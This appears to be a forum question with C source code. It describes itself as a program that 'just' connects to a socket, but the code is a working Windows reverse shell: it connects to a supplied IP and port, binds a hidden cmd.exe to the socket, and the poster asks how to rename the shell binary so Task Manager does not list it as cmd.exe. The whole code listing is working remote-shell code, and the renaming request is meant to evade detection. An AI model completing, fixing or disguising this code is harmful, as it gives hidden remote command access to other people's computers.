I have a program that uses create process to run cmd.exe. When it runs, the program goes into the Task Manager as cmd.exe *32. I don't want it to be called that so I was going to take a copy of the cmd.exe and cmd.exe.mui and rename it to something like test.exe. When I try to run the program it does not properly call that copy of cmd.exe. The program is just supposed to connect to a socket. If I leave it as cmd.exe it opens up fine. If I change it to test.exe, nothing happens.
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <dirent.h>
#include <errno.h>
#include <winsock2.h>
void RunSocket(char *a, char *b);
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show);
int main(int argc, char *argv[]) {
char *socket = argv[1];
printf("%s", argv[0]);
WinMain(0,0,socket,0);
return 0;
}
int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
char test[50];
strncpy(test, cmdline, 49);
char *ip = strtok(test, ":");
char *port = strtok(NULL, ":");
printf("IP: %s\n", ip);
printf("PORT: %s", port);
RunSocket(ip, port);
return 0;
}
void RunSocket(char *a, char *b) {
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
struct hostent *host;
host = gethostbyname(a);
strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(b));
hax.sin_addr.s_addr =inet_addr(ip_addr);
WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
char com[] = "C:\\Windows\\System32\\test.exe";
CreateProcess(NULL, com, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
}